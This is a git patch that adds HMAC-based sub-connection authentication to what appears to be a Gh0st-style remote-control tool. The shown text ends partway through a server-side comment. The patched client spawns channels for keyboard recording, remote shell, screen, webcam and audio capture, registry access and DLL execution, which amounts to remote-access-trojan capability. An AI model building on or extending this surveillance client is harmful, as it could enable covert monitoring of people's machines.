From ef8165c3b44c44ea7f515e7a93cdf368d2d4e68e Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 6 May 2026 23:55:34 +0200 Subject: [PATCH] Feature: sub-connection auth (TOKEN_CONN_AUTH) with HMAC + clientID binding Client first packet on every sub-connection signs (clientID || timestamp || nonce) and waits for server ack. Server verifies signature and pins clientID on the sub-connection ctx, eliminating IP-reverse-lookup unreliability for NAT/localhost scenarios. Sub-conn coverage: Win 12 sites, Linux/macOS 3-4 each. Main connection keeps existing TOKEN_LOGIN flow unchanged. Includes: - Protocol structs sized to 512/256 bytes with reserved space for future extensions (locale, OS info, session token, etc.) - 5-min timestamp tolerance (Kerberos-grade replay window) - 10-sec client wait for cross-pacific / weak-network tolerance - Fix RemoveFromHostList side-effect ordering: MarkDeviceOffline and m_ActiveWndW.erase now only fire when ctx is actually removed from m_HostList, preventing sub-conn disconnects from misreporting main as offline (regression introduced by auth-set clientID on sub ctx) - Fix latent bug: IOCPClient::m_conn was never assigned in ctor, leaving GetConnectionAddress() always NULL and FileManager V2 transfer's srcClientID always 0 Breaking change: new client cannot use sub-features against old server. New server tolerates legacy clients (no auth). Future tightening can reject unauthenticated sub-connections via IsAuthenticated() flag. Co-Authored-By: Claude Opus 4.7 (1M context) --- client/FileManager.cpp | 1 + client/IOCPClient.cpp | 109 +++++++++++++++++++++++++-- client/IOCPClient.h | 32 ++++++++ client/KernelManager.cpp | 73 ++++++++++++++---- common/commands.h | 52 +++++++++++++ linux/main.cpp | 8 ++ macos/main.mm | 6 ++ server/2015Remote/2015RemoteDlg.cpp | 102 +++++++++++++++++++------ server/2015Remote/FileManagerDlg.cpp | 14 ++-- server/2015Remote/IOCPServer.h | 6 +- server/2015Remote/Server.h | 9 +++ 11 files changed, 363 insertions(+), 49 deletions(-) diff --git a/client/FileManager.cpp b/client/FileManager.cpp index 166e10f..cc7ec1f 100644 --- a/client/FileManager.cpp +++ b/client/FileManager.cpp @@ -1163,6 +1163,7 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize) // 创建新连接发送文件 IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, conn); + pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { std::thread([allFiles, targetDir = std::string(targetDir), pClient, opts, hash, hmac]() { FileBatchTransferWorkerV2(allFiles, targetDir, pClient, diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index e15ac45..4078e80 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -100,6 +100,77 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess, O m_ReconnectFunc = m_exit_while_disconnect ? reconnect : NULL; } +// 子连接身份校验:发 TOKEN_CONN_AUTH 包后阻塞等服务端响应。 +// signMessage 由私有库提供(与 KernelManager.cpp 验证主控签名同款), +// 空 publicKey/privateKey 走内置 HMAC。 +extern std::string signMessage(const std::string& privateKey, BYTE* msg, int len); +bool IOCPClient::PerformConnAuth(uint64_t clientID, int timeoutMs) +{ + ConnAuthPacket pkt = {}; + pkt.token = TOKEN_CONN_AUTH; + pkt.clientID = clientID; + pkt.timestamp = (uint64_t)time(NULL); + // 16 字节 nonce:用 rand() + 时间扰动,强度够用(重放保护主要靠时间戳) + for (int i = 0; i < 16; ++i) { + pkt.nonce[i] = (uint8_t)((rand() ^ (clock() >> i)) & 0xFF); + } + + BYTE sigInput[8 + 8 + 16]; + memcpy(sigInput, &pkt.clientID, 8); + memcpy(sigInput + 8, &pkt.timestamp, 8); + memcpy(sigInput + 16, pkt.nonce, 16); + auto sig = signMessage("", sigInput, sizeof(sigInput)); + size_t sigLen = sig.size() < 64 ? sig.size() : 64; + memcpy(pkt.signature, sig.data(), sigLen); + + // 设置等待状态 + { + std::lock_guard lk(m_authMtx); + m_authStatus = -1; + m_authPending = true; + } + + // 发包;用 HttpMask 包装与其它子连接首包风格一致 + HttpMask mask(DEFAULT_HOST, GetClientIPHeader()); + int sent = Send2Server((char*)&pkt, sizeof(pkt), &mask); + if (sent <= 0) { + std::lock_guard lk(m_authMtx); + m_authPending = false; + Mprintf("[ConnAuth] 发送失败\n"); + return false; + } + + // 等响应或超时 + std::unique_lock lk(m_authMtx); + bool got = m_authCv.wait_for(lk, std::chrono::milliseconds(timeoutMs), + [this]{ return !m_authPending; }); + int status = m_authStatus; + m_authPending = false; + if (!got) { + Mprintf("[ConnAuth] 等待响应超时 (%d ms),判定失败\n", timeoutMs); + return false; + } + bool ok = (status == CONN_AUTH_OK); + Mprintf("[ConnAuth] %s (status=%d)\n", ok ? "通过" : "失败", status); + return ok; +} + +bool IOCPClient::TryHandleAuthResponse(PBYTE buf, ULONG len) +{ + if (!buf || len < sizeof(ConnAuthAck)) return false; + if (buf[0] != TOKEN_CONN_AUTH) return false; + + { + std::lock_guard lk(m_authMtx); + if (!m_authPending) return false; // 没在等 → 不消费,让 manager 处理(理论不会发生) + const ConnAuthAck* ack = (const ConnAuthAck*)buf; + m_authStatus = ack->status; + m_authPending = false; + } + m_authCv.notify_all(); + return true; +} + IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, CONNECT_ADDRESS* conn, const std::string& pubIP, void* main) : g_bExit(bExit) @@ -119,6 +190,8 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask, } m_main = main; + m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过 + // m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。 int encoder = conn ? conn->GetHeaderEncType() : 0; m_sLocPublicIP = pubIP; m_ServerAddr = {}; @@ -380,6 +453,27 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort) #endif } + // 子连接身份校验(opt-in 通过 EnableSubConnAuth 开启): + // - WorkThread 已经启动,能接收 ack 包并通过 TryHandleAuthResponse 唤醒等待。 + // - clientID 优先用 EnableSubConnAuth 显式传入的值(Linux/macOS 客户端走此路径), + // 未显式传入时从 m_conn 现取(Windows 客户端走此路径)。 + // - 校验失败:Disconnect 并返回 FALSE,让上层走重连或放弃逻辑。 + if (m_subConnAuthEnabled) { + uint64_t cid = m_subConnAuthClientID; + if (cid == 0 && m_conn) cid = m_conn->clientID; + if (cid == 0) { + Mprintf("[ConnAuth] 跳过校验:clientID 尚未就绪(主连接还没拿到 ID)\n"); + // 没拿到 ID 就别盲发,等下一次 Reconnect 时再试。视为本次连接失败。 + Disconnect(); + return FALSE; + } + if (!PerformConnAuth(cid, CONN_AUTH_CLIENT_WAIT_MS)) { + Mprintf("[ConnAuth] 校验失败,断开连接\n"); + Disconnect(); + return FALSE; + } + } + return TRUE; } @@ -549,11 +643,16 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer, size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength); if (Z_SUCCESS(iRet)) { //如果解压成功 - //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 - //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 - int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); - if (ret) { - Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); + // 优先看是不是 TOKEN_CONN_AUTH 响应;只有当 PerformConnAuth 正在等待时才消费。 + // 不在等待状态时返回 false,包透传给 manager(manager 一般也不识别此 token, + // 走 default 路径忽略,无副作用)。 + if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) { + //解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态 + //由于m_pManager中的子类不一样造成调用的OnReceive函数不一样 + int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength); + if (ret) { + Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret); + } } } else { Mprintf("[ERROR] uncompress fail: dstLen %lu, srcLen %lu\n", ulOriginalLength, ulCompressedLength); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index 23147fb..3064617 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -32,6 +32,8 @@ #endif #include "IOCPBase.h" #include +#include +#include #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*128 // 增大分块大小以提高发送效率 @@ -259,6 +261,26 @@ public: m_LoginMsg = msg; m_LoginSignature = hmac; } + + // 子连接身份校验:发 TOKEN_CONN_AUTH 包,等服务端 ConnAuthAck 响应。 + // 返回 true 表示通过,false 表示超时/失败/网络错误。 + // 主连接不调用此方法。新客户端必须调用并校验成功后才能继续后续命令。 + // 已实现的协议扩展(如 KeyBoard 子连接的 cap word)保留不变,与本机制并行工作。 + bool PerformConnAuth(uint64_t clientID, int timeoutMs); + + // 让 ConnectServer 在每次成功后自动调一次 PerformConnAuth(opt-in)。 + // 子连接构造后调用此方法启用。 + // - clientID == 0:每次 auth 时从 m_conn->clientID 现取(Windows 客户端走此路径)。 + // 这样即便 IOCPClient 创建时主连接还没拿到 ID,真正连上时也能用到最新值。 + // - clientID != 0:显式指定(Linux/macOS 客户端 IOCPClient 不带 m_conn 时用此参数)。 + void EnableSubConnAuth(bool enabled = true, uint64_t clientID = 0) { + m_subConnAuthEnabled = enabled; + m_subConnAuthClientID = clientID; + } + + // 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。 + // 仅在我们正在等待 auth 响应时(m_authPending=true)才消费;否则透传给 manager。 + bool TryHandleAuthResponse(PBYTE buf, ULONG len); protected: virtual int ReceiveData(char* buffer, int bufSize, int flags) { @@ -285,6 +307,16 @@ protected: BOOL m_bConnected; std::mutex m_Locker; + + // 子连接身份校验同步状态。仅在 PerformConnAuth 调用期间生效。 + std::mutex m_authMtx; + std::condition_variable m_authCv; + int m_authStatus = -1; // -1 = 未启动;其它 = ConnAuthStatus + bool m_authPending = false; // true 时 TryHandleAuthResponse 才消费 ack + + // ConnectServer 成功后自动 auth 的 opt-in 标志。子连接构造后调 EnableSubConnAuth() 设为 true。 + bool m_subConnAuthEnabled = false; + uint64_t m_subConnAuthClientID = 0; // 0 表示从 m_conn->clientID 现取 #if USING_CTX ZSTD_CCtx* m_Cctx; // 压缩上下文 ZSTD_DCtx* m_Dctx; // 解压上下文 diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 98eee32..b60546c 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -53,7 +53,9 @@ ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &pub { ThreadInfo *tKeyboard = new ThreadInfo(); tKeyboard->run = FOREVER_RUN; - tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); + auto* sub = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + tKeyboard->p = sub; tKeyboard->conn = conn; tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL); return tKeyboard; @@ -956,7 +958,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) } case COMMAND_PROXY: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -1060,33 +1066,49 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) if (m_hKeyboard) { CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; } case COMMAND_TALK: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHELL: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: { //远程进程管理 - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: { //远程窗口管理 - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -1121,14 +1143,22 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) memcpy(user->buffer, szBuffer + 1, ulLength - 1); if (ulLength > 2 && !m_conn->IsVerified()) user->buffer[2] = 0; } - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } @@ -1136,25 +1166,41 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_WEBCAM: { static bool hasCamera = WebCamIsExist(); if (!hasCamera) break; - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { - m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 + m_hThread[m_ulThreadCount].p = sub; + } m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } @@ -1272,6 +1318,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) opts.enableResume = queryPending; // 只有发送了查询才等待响应 IOCPClient* pClient = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn); + pClient->EnableSubConnAuth(); // V2 文件传输子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验 if (pClient->ConnectServer(m_ClientObject->ServerIP().c_str(), m_ClientObject->ServerPort())) { std::thread([files, targetDir, pClient, opts, hash, hmac]() { FileBatchTransferWorkerV2(files, targetDir, pClient, diff --git a/common/commands.h b/common/commands.h index f92d7c3..9c486aa 100644 --- a/common/commands.h +++ b/common/commands.h @@ -333,8 +333,60 @@ enum { CMD_EXECUTE_DLL_NEW = 243, // 执行代码 CMD_PEER_TO_PEER = 244, // P2P通信 TOKEN_CLIENTID = 245, + TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck) }; +// 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID +// 钉在子连接 ctx 上,后续命令免 IP 反查直接拿到主连接关联。 +// 主连接(TOKEN_LOGIN 流)不走此校验。 +// +// 兼容性策略: +// - 老客户端不发 → 新服务端宽容(保留 IP 反查兜底,行为不变)。 +// - 新客户端发出 → 等服务端 ConnAuthAck,超时或失败则不继续。 +// - 因此新客户端只能向新服务端连接(破坏性升级)。 +// - 未来收紧:服务端可拒绝所有未通过 auth 的子连接。 +// +// 协议固定为 512 / 256 字节(参照 LOGIN_INFOR::szReserved[512] 的做法), +// 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token / +// per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段 +// 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。 +#pragma pack(push, 1) +struct ConnAuthPacket { + uint8_t token; // = TOKEN_CONN_AUTH [1] + uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8] + uint64_t timestamp; // 客户端发包时的 Unix 秒,防重放第一道 [8] + uint8_t nonce[16]; // 随机数,进一步降低重放/碰撞概率 [16] + char signature[64]; // signMessage("", clientID||timestamp||nonce, 32) [64] + char reserved[415]; // 预留扩展 [415] +}; // 总 512 + +// 服务端响应:token + status + serverTime + 预留,固定 256 字节。 +// serverTime 客户端可用来校正本机时钟偏差用于后续协议(可选)。 +struct ConnAuthAck { + uint8_t token; // = TOKEN_CONN_AUTH(回显,方便客户端 dispatch) [1] + uint8_t status; // 0=OK, 其它=失败原因(见 ConnAuthStatus) [1] + uint64_t serverTime; // 服务端处理时的 Unix 秒 [8] + char reserved[246]; // 预留扩展 [246] +}; // 总 256 +#pragma pack(pop) + +// 编译期断言:协议大小不允许被无意改动 +static_assert(sizeof(ConnAuthPacket) == 512, "ConnAuthPacket must be exactly 512 bytes"); +static_assert(sizeof(ConnAuthAck) == 256, "ConnAuthAck must be exactly 256 bytes"); + +enum ConnAuthStatus { + CONN_AUTH_OK = 0, + CONN_AUTH_BAD_SIZE = 1, // 包长度不对 + CONN_AUTH_CLOCK_SKEW = 2, // 时间戳超过容忍范围 + CONN_AUTH_BAD_SIGNATURE = 3, // HMAC 不匹配 + CONN_AUTH_INTERNAL_ERROR = 4, +}; + +#define CONN_AUTH_TIMESTAMP_TOLERANCE_SEC 300 // 客户端/服务端时钟漂移容忍 ±5 分钟 +#define CONN_AUTH_CLIENT_WAIT_MS 10000 // 客户端等待 ack 的超时 + // 设为 10 秒留足跨太平洋 + 拥塞 / 卫星链路 / 偏远网络的余量; + // 同机几毫秒就回,正常路径用户感知不到。 + enum MachineCommand { MACHINE_LOGOUT, MACHINE_SHUTDOWN, diff --git a/linux/main.cpp b/linux/main.cpp index b72ea24..1e53bf9 100644 --- a/linux/main.cpp +++ b/linux/main.cpp @@ -347,6 +347,8 @@ void* ShellworkingThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter ShellworkingThread [%p]\n", clientAddr); + // 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new PTYHandler(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); @@ -371,6 +373,8 @@ void* ScreenworkingThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); + // 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new ScreenHandler(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); @@ -395,6 +399,8 @@ void* SystemManagerThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter SystemManagerThread [%p]\n", clientAddr); + // 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new SystemManager(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); @@ -417,6 +423,8 @@ void* FileManagerThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter FileManagerThread [%p]\n", clientAddr); + // 子连接:开启 auth。Linux IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new FileManager(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); diff --git a/macos/main.mm b/macos/main.mm index 90a80a8..79abb78 100644 --- a/macos/main.mm +++ b/macos/main.mm @@ -713,6 +713,8 @@ void* ShellworkingThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr); + // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new PTYHandler(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); @@ -737,6 +739,8 @@ void* ScreenworkingThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter ScreenworkingThread [%p]\n", clientAddr); + // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new ScreenHandler(ClientObject.get())); if (!handler->init()) { @@ -765,6 +769,8 @@ void* FileManagerworkingThread(void* param) std::unique_ptr ClientObject(new IOCPClient(g_bExit, true)); void* clientAddr = ClientObject.get(); Mprintf(">>> Enter FileManagerworkingThread [%p]\n", clientAddr); + // 子连接:开启 auth。macOS IOCPClient 不带 m_conn,显式传入 g_myClientID。 + ClientObject->EnableSubConnAuth(true, g_myClientID); if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) { std::unique_ptr handler(new FileManager(ClientObject.get())); ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a5b59a2..02dab42 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -5494,6 +5494,53 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject); break; } + case TOKEN_CONN_AUTH: { // 子连接身份校验【L】 + // 设计取舍: + // - 主连接走 TOKEN_LOGIN,不进入此分支。 + // - 当前阶段宽容:未通过的子连接仍允许后续命令(依靠 IP 反查兜底), + // 仅把 IsAuthenticated 标志记下来,便于后续命令优先用。 + // - 失败时回应 ConnAuthAck 让客户端 fail fast,但不主动断连接 + // (客户端拒绝继续 = 自己关闭,等价效果,少一次 RST 噪音)。 + ConnAuthAck ack = {}; + ack.token = TOKEN_CONN_AUTH; + ack.serverTime = (uint64_t)time(0); + ack.status = CONN_AUTH_INTERNAL_ERROR; + + if (len < (int)sizeof(ConnAuthPacket)) { + ack.status = CONN_AUTH_BAD_SIZE; + Mprintf("[ConnAuth] %s: 包长度不足 (%d < %zu)\n", + ContextObject->GetPeerName().c_str(), len, sizeof(ConnAuthPacket)); + } else { + const ConnAuthPacket* pkt = (const ConnAuthPacket*)szBuffer; + int64_t skew = std::abs((int64_t)time(0) - (int64_t)pkt->timestamp); + if (skew > CONN_AUTH_TIMESTAMP_TOLERANCE_SEC) { + ack.status = CONN_AUTH_CLOCK_SKEW; + Mprintf("[ConnAuth] %s: 时钟偏差 %lld 秒,拒绝\n", + ContextObject->GetPeerName().c_str(), skew); + } else { + BYTE sigInput[8 + 8 + 16]; + memcpy(sigInput, &pkt->clientID, 8); + memcpy(sigInput + 8, &pkt->timestamp, 8); + memcpy(sigInput + 16, pkt->nonce, 16); + bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); + std::string sig(pkt->signature, pkt->signature + 64); + if (verifyMessage("", sigInput, sizeof(sigInput), sig)) { + // 通过:把 clientID 钉在子连接 ctx 上 + ContextObject->SetID(pkt->clientID); + ContextObject->SetAuthenticated(true); + ack.status = CONN_AUTH_OK; + Mprintf("[ConnAuth] %s: clientID=%llu 通过\n", + ContextObject->GetPeerName().c_str(), pkt->clientID); + } else { + ack.status = CONN_AUTH_BAD_SIGNATURE; + Mprintf("[ConnAuth] %s: clientID=%llu 签名无效\n", + ContextObject->GetPeerName().c_str(), pkt->clientID); + } + } + } + ContextObject->Send2Client((PBYTE)&ack, sizeof(ack)); + break; + } case TOKEN_BITMAPINFO: { // 远程桌面【x】 ContextObject->SetNoDelay(TRUE); ContextObject->EnableZstdContext(-1); @@ -5694,17 +5741,17 @@ context* CMy2015RemoteDlg::GetContextByListIndex(int iItem) return m_HostList[realIdx]; } -// 从 m_HostList 中移除 context 并更新索引映射 +// 从 m_HostList 中移除 context 并更新索引映射。 +// +// 重要:MarkDeviceOffline / m_ActiveWndW.erase 等"主机下线"副作用必须**只在 +// 确实从 m_HostList 移除后**才触发。否则在子连接(auth 通过后 ctx->GetClientID() +// 等于主连接 ID)正常断开时,会误把主连接当成下线,造成 Web 端"假下线"和 +// 